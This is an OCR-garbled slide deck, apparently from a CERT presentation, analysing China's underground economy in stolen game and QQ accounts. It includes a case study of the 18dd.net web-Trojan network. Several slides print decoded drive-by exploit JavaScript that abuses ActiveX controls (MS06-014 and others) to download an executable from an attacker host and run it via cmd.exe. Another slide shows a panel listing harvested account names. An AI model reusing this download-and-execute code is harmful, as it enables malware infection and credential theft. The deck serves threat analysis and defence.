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China Internet Security Overview

Internet Development

Netizen Website  Online Host International Bandwidth Comparing the two graphs, it
>57c [l IS rather obviously that the

internet security problem gets
By 2007 210M 1.50M (G0N 369G [l Worse and worse as the
internet growing fast,

By 2006 137M 0.843M 59.4M

Increasing 53% 78% 31% 44%

A —— Increasing users lacking of
basic security awareness and
self-protecting technique,
mass of online computers
phishing Spam Trojan Host Web defacement being attacked. controlled and
then exploited by hacker all
around the world.

Incident reports Incident monitoring

By 2006 563 587 44,717 24,477

By 2007 1326 1197 995,154 61,228

Increasing 136% 104% 2125% 150%
Source: CNCERT/CC
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Online Games and Virtual Goods in China
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QQ IM and QQ Coins
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Definitions-Con.

» Malicious website

—redirects the visitor to an exploit host, which the n
attacks the victim and causes malware infection, th  is
kind of attack is also called drive-by-download att ack.

» Web-based Trojan

—Is a kind of malware performing client-side attack,

which Is typically implemented in web script Iangua ges
such as JavaScript, and exploits certain system- or
application-level vulnerabillities to obtain complet e
control of the client system once the vulnerable cl lent
visits the host web page of the web-based Trojan.
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Definitions

» Stealer Trojan

—Iis a kind of Trojan horse malware with the purpose of
stealing valuable information or assets from the
victims, such as pairs of account and password

» Web-based Trojan network

—Is a network constructed and operated by the blackh ats
to make profit by exploiting the vulnerable client
systems and stealing of the virtual assets, it cont ains
the surface malicious websites, and the behind Web-

based and Stealer Trojans
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Underground Economy Chain In Chlna

Virus Writers Website Masters/Crackers

Trojans & Emad\\ /
Detection Service 555 Website Traftfic

Envelopes Stealers

555 T ¢Enw:1npe:-:

Virtual Asset Stealers Underground
T i Black Market

Playf:rs Public Virtual !
Assr:rt Markct
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Malware Writer

» Driven by economic profits and sell their
tools, malware, and evasion service for
making money

» They are able to find vulnerabllities or use
recently public disclosed vulnerabilities
and the corresponding exploits.

» Furthermore, these actors have the
technical skills to develop their own
exploits, or Trojans based on the original
vulnerability reports and available exploit
codes.
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Website Masters/Crackers

» Website Master

— Attract visitors with the help of free goodies, e.g .
free movies, music, software, or tools.

— Sell the traffic (i.e., website visits) of their we  bsites
to Envelopes Stealers by hosting the web-based

Trojans. 5—10$ per
» Website Crackers ten
— Hack into well-known, but unsafe websites
— Redirect the traffic for this website to another thousand

malicious machine I P V|S|tS
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Envelopes Stealers

» Envelopes
— Jargon word used in the underground market
— Means the stolen pair of account and password.

» Envelopes Stealers
— Have very limited technical knowledge
— Buy Trojans, malware generators and website traffic
— Create a web -based Trojan network from which they can harvest en velopes
— Sell the harvested envelopes to Virtual Asset Steal ers
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Virtual Asset Stealers

Account and password

» Do not have any technical knowledge
about hacking and programming

» Have a rather good understanding of
the underground market

» Buy envelopes from the Envelopes
Stealers, log-in to the online games or
QQ accounts to steal valuable virtual
assets like game equipments or QQ
coins.
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Virtual Asset Sellers

» Setting up virtual shops
—Taobao,
— PaiPai
—eBay

» Sell virtual asset to Players on the public marketp laces

» For example, they typically buy QQ coins on bulleti n
boards and then sell the coins for 0.5 — 0.8 RMB on
Taobao, making a certain profit with each transacti  on.
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Players

» Enthusiastic online games players or QQ users

: . Player
» Spending large amounts of money on the virtual y
assets Hacker
» Commonly male teenagers who dispense their Player

parents

» Foundation of the whole underground market
since they stimulate demand for all virtual goods
and drive the market.
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Case Study: A big web-based Trojan network

18dd.net: received the web traffic from 490 malicious

websites located at 206 different top domains.
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Exploitation Flow of the 18dd.net Case
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envelops to the “boxes”
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embedded links to
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The Dispatcher and Web-based Trojans
Main block

t="hLbELYCzhRaoVloMk SaDvxrrJWgHpadkWoxgld Anc /Tyl lchbiuFefoyl+sn—+163W1
t=utfitolt(xxtea decryptibasetddecode(t), 'YTI\KOI\KVENHEONTONKTL )
window[ "\xedhv ey w3\ T xad\ e\ et TAT [T TV T2\ e TAVasT] (E)

First Round hex decode

C="bLhEf¥CzhEacVioMk Sabvxr e WgHpadk e xgzld Anc /Ty 10chiwFe£3v1+su+16]0T
tJuthtnlEixxtea=decryptihaseEQdecndait], 'zcript'));

window[ "docunent” ][ "write™] (t):
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Decoded dispatcher script

4 eval ("function initi) {document.write (]}
window.onload = init;
if (document.cookie.index0f (0K ' 1==-1]{

Lry{wvar e;

var ado=[document.createElement(object™)]) ;

ado. zetdttribute ["classid™”,"cl=sid:ED96C556-65453-11D0-95334-00C0O4FCZ9E3E™) ;
wvar as=ado.createobject("idodh, Ztream”™ 7))

catchie) {1:

finallvy{

var expires=new Date(]:

expires.setTine (expires.getTime () +24%60%a0%1000) ;

document. cookie="'ce=windowsxp path=/exnires="4+expires. taGMTitringi) :
ifj{e!'="[object Error]™i{

document.write ("< script src=http:' /% faa.18dd.nety faa)\ /1. )sx=<C\ fscript>=""]}
elzef

try{wvar f:var storm=new ActiveXObject("MPI.3tormPlaver™) )

catchi(f£]{}:

finallyi{if(f!'="[object Error]™){

document.write ("<zacript src=http:’ s\ Saa.lddd.neth faa) b, jsx=<)\ fscript=") 1}
Lry{war J;wvar pps=new ActiwvexDbject("POWERPLAYEE.PowerPlaverCtrl.1™) 1
catchifg) {17

finally{ifi(g!'="[object Error]™){

document,write ("<script src=http:’ /% /aa.l8dd.net) faah /pps.jsr</sceipt>"]1}}
tryi{wvar h:var obj=new hctivexObject("EaiduBar.Tool™):}

catchih) {1:

finally{ifih'!'="[obhject Error]™){
obj.DloadDs("http: //dowm. 18dd. net/bh/bd. cabh™, "hd.exe™, 0)1}

PHET
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Decoded web-based Trojan

MS06-014 IR G
Baofeng StormPlayer uangang.com

PPStream PowerPlayer

BaiduBar 2 PPS s
90
Baiy&EE
eval ("

var url="http://dowm. L8dd, net/bb/01d, exe” stry{var xml=ado.Createlbject("Nicrosoft, XMLETTE" "}

wml. Open("GET" url,0) ;xml. Send() ;as, type=1;a3. open() ;ag.write (xunl. regponsebody) jpath=".. " \ntuzer, con";
as.savetofile(path,2) as.close() yvar shell=ado,createobiject("Shell. ipplication™, ™ );
shell.ShellExecute ("cnd.exe”,"/c "+path,”","open”,0) tcatchie) {}

"
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Stealer Trojans

« UNKNOW

* Trojan-
PSW.Win32.0
nLineGames

* Trojan-
PSW.Win32.L
mir
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Box for Envelops Collection

- - @j |_IL. L] http:/f222. S .12/ daojizn/ 28/ nopass.asp
|| Adobe-F®ARD.. [ | Customize Links | | Free Hotrmail [ | 'mHome || Mail || MySQL Performance ... ¢ MySQLMySQL pirf. . nopaste pa:
Google | V| G/ search - |{f,l @ D Ef - [ - 15 Bookmarks- T20eRank v|?c', Translate v| % Autolink T
L ERRE X

A World without Trojans & TF#&se:ssmms

BRAx

I HR<-aa4H P = e P21 BEERE iBAA ARETH
1 HE M FE& winming345 FARRERAAE HAARRAAE ok SO03ES
P s~ ERED xybw i Rk kR Fkok 2451
3 Hib—E B xralyang P e e T ] EEEEEEEE RE 10417
4 HE - +EE SEOTEA045 Fk AR —— 999

5 g HEET] 99594595047 Fk AR —— 9559
B ey | R o V57 tianlundSRTES R AR bk oTa1R
T g HEET gudi andas FARRERAAE HAARRAAE ok 9157g
g8 mE—E e 154747 1BRAD Fk AR —— ATTE4
9 mr—E  FER FuB0T253584 Rk p— p— 0

10 FE—E +H#0 wangweidongl 230 ko HAARRAAE ok 12710
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|IP/Location Tracing and Analysis

Top | IPAddresses |sites L ocation 490 ma“C'OUS WebSIteS

220.168..104 | 122| YueYang, Hunan

58.44+67 | 72| Yuevang, Hunan 205 dlStlnCt IP

220.168.*.15 | 54| YueYang, Hunan

5844*56 | 23| YueYang, Hunan same I DC

220.168.*.173| 18| YueYang, Hunan
59.60.*.250 15| Quanzhou, Fujian

220.168.* .44 YueYang, Hunan Yu eYa,n g y
125.65.*.49 Jingyang, Sichuan

219.129.* .56 2 Maoming, Guangdong H u n a-n B ran C h
A of China Telecom

O ([N | |0 DWW |-

LeShan, Sichuan

Others 172 N/A
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Conclusion

» Malicious websites have become a major threattoth e
normal Internet users in China

» Web-based Trojan network driven by the economic pro  fits,
and launched by the experienced and well organized b lack
hats

» Hundred of malicious hosts distributed at different
locations within China, and even abroad

» S0, We need co-operations between CERTs and law
enforcements
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